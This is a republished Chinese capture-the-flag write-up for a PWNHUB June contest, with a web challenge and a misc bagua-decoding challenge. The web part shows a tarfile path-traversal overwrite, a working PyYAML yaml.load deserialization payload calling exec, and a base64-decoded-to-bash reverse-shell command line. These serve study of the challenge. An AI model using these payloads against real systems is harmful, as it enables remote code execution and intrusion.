IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦 -> 正文阅读

[网络协议]PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦

PWNHUB 一场新鲜赛事速达【六月内部赛】 web - login game + Misc - 伏羲八卦

本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ?ω? @)ノ!!

web - login game

给了源码,大概就是login登陆,upload上传,上传同时有解压

extractFile函数

def extractFile(filepath, type):

    extractdir = filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)

    if type == 'tar':
        tf = tarfile.TarFile(filepath)
        tf.extractall(extractdir)	#extractall解压
        return tf.getnames()

    if type == 'zip':
        zf = zipfile.ZipFile(filepath, 'r')
        zf.extractall(extractdir)
        return zf.namelist()

tarfile库的extractall或extract方法存在目录穿越漏洞,可以进行文件覆盖

再看login路由

@app.route('/login', methods=['GET', 'POST'])
def login():
    with open('config/userConfig.yaml', 'w') as f:
        data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
        f.write(yaml.dump(data))

    if request.method == 'GET':
        return render_template('login.html')

    if request.method == 'POST':
        username = request.form.get('username')
        if username and username == "Admin":
            with open('config/userConfig.yaml', 'rb') as f:
                userConfig = yaml.load(f.read())	#PyYAML有个反序列化漏洞,这里是利用点
                if userConfig['host'] == request.remote_addr:
                    session['user'] = userConfig['user']
                    return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
                else:
                    return "<script>alert('Can only login locally');history.back(-1);</script>"
        elif username:
            session['user'] = username
            return redirect('/')

如果登陆的用户名为Admin,则读取config/userConfig.yaml文件,yaml.load转换为python数据类型

yaml.load详情可以看看官方wiki PyYAML yaml.load(input) Deprecation ·yaml/pyyaml Wiki (github.com),本题的环境为PyYAML==5.3

在PyYAML 5.1 +之前,该函数可以很容易地被利用来调用任何Python函数。这意味着它可以使用 调用任何系统命令。
yaml.load反序列化漏洞原理见浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)

题目中是未写loader参数的,我用的这个师傅的poc PyYAML反序列化防御和ByPass - FreeBuf网络安全行业门户

import yaml

payload = """
- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "print('漏洞存在')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec
"""
yaml.load(payload)

回显:
->漏洞存在

但是要注意,login路由中会重写userConfig.yaml,可以用条件竞争绕过

with open('config/userConfig.yaml', 'w') as f:
    data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
    f.write(yaml.dump(data))

最终思路就是,tar包解压覆盖userConfig.yaml,yaml.load反序列化rce

  1. 创建tar包
 tar cPvf caiao.tar ../../../config/userConfig.yaml

userConfig.yaml

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').popen('echo [反弹shell] | base64 -d | bash').read()"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

2.条件竞争
成功的话返回值500
请添加图片描述
反弹shell得到flag
请添加图片描述

Misc - 伏羲八卦

赛后看师傅wp复现的,我真的很不会处理二进制数据……这次也没想出来

给了个gif,python将其分割为png Python 实现分离GIF图片,-pillow_好逸爱劳的博客-CSDN博客

#gif按帧数分割
from PIL import Image
import os

gilFileName = 'gif.gif'        # 将准备好的gif 打开
im = Image.open(gilFileName)
pngDir = gilFileName[:-4]        # 获取 .gif 前面的字符,也就是名字

if not os.path.exists(pngDir):
        '''如果没有重名的文件夹,就生成这个文件夹来存放图片'''
        os.mkdir(pngDir)         

try:      
    while True:     
        current = im.tell()       # 获取img对象的 帧图片
        im.save(pngDir + '\\' + str(current) + '.png')      # 保存
        im.seek(current + 1)     # seek的作用就相当于 装饰器的 next,代表下一个
        # current 代表帧图片,+1 就是下一张

except EOFError:
    pass

请添加图片描述

然后根据png的大小,转换为对应伏羲八卦的符号

#按图片大小提取内容
import os
dict = { 1715 : "?", 2099 : "?",2062 : "?", 2059 : "?", 2392 : "?", 1773 : "?", 1863: "?", 1856 :"?"}
for s in range(342):
    #print(os.path.getsize('./giff/'+str(s)+'.png'))
    print(dict[os.path.getsize('./gif/'+str(s)+'.png')],end='')

# ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????

将八卦符号转换为八进制数 Python八卦符编码 base8-bagua-py_孤冷的刺猬的博客-CSDN博客_python 八卦

符号卦名拼音8进制数
?qián0
?duì1
?2
?zhèn3
?xùn4
?kǎn5
?gèn6
?kūn7

补一个六十四卦请添加图片描述

s='??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????'
#dic={'?': '000', '?': '001',  '?': '010', '?': '011', '?': '100',  '?': '101',  '?': '110',  '?': '111'}
#dic={'?': '0', '?': '1',  '?': '2', '?': '3', '?': '4',  '?': '5',  '?': '6',  '?': '7'}
#呜呜呜上面两个dic是六十四卦的,都不对的,和八卦是反转过来的,我也不知道为什么
dic={'?': '0', '?': '1',  '?': '2', '?': '3', '?': '4',  '?': '5',  '?': '6',  '?': '7'}
li=[]
k=0
for i in range(len(s)):
    if k ==1:
        k=0
        continue
    try:
        li.append(dic[s[i]])
    except:
        t=''
        t=t+s[i]+s[i+1]
        li.append(dic[t])
        k=1
ss=''.join(li)
print(ss)

#八进制 三个一组,转换为二进制正好7位,假装最前面有零,正好符合ascii可见字符的范围
str1 = re.findall(r'\w{3}', ss)
for i in str1:
    print(chr(int(i,8)),end='')
#[8][11)[1a][23)[ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi][2d][3a)[45][51)
sss = 'ZmxhZ3tE2ZarhfbBcMC15T3UtbUCXNWRJtADFrZS1wbGFeBG2FhBRgiq3g5bG5nLW0xc2kHyoNqiTXcmi'
print(sss[0x8:0x11]+sss[0x1a:0x23]+sss[0x2d:0x3a]+sss[0x45:0x51])

请添加图片描述

2ZarhfbBcUCXNWRJtAeBG2FhBRgiq3gkHyoNqiTXcmi

base58得到flag{D0-yOu-l1ke-playlng-m1sc?}
请添加图片描述

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-06-18 23:33:03  更:2022-06-18 23:33:19 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 16:20:54-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码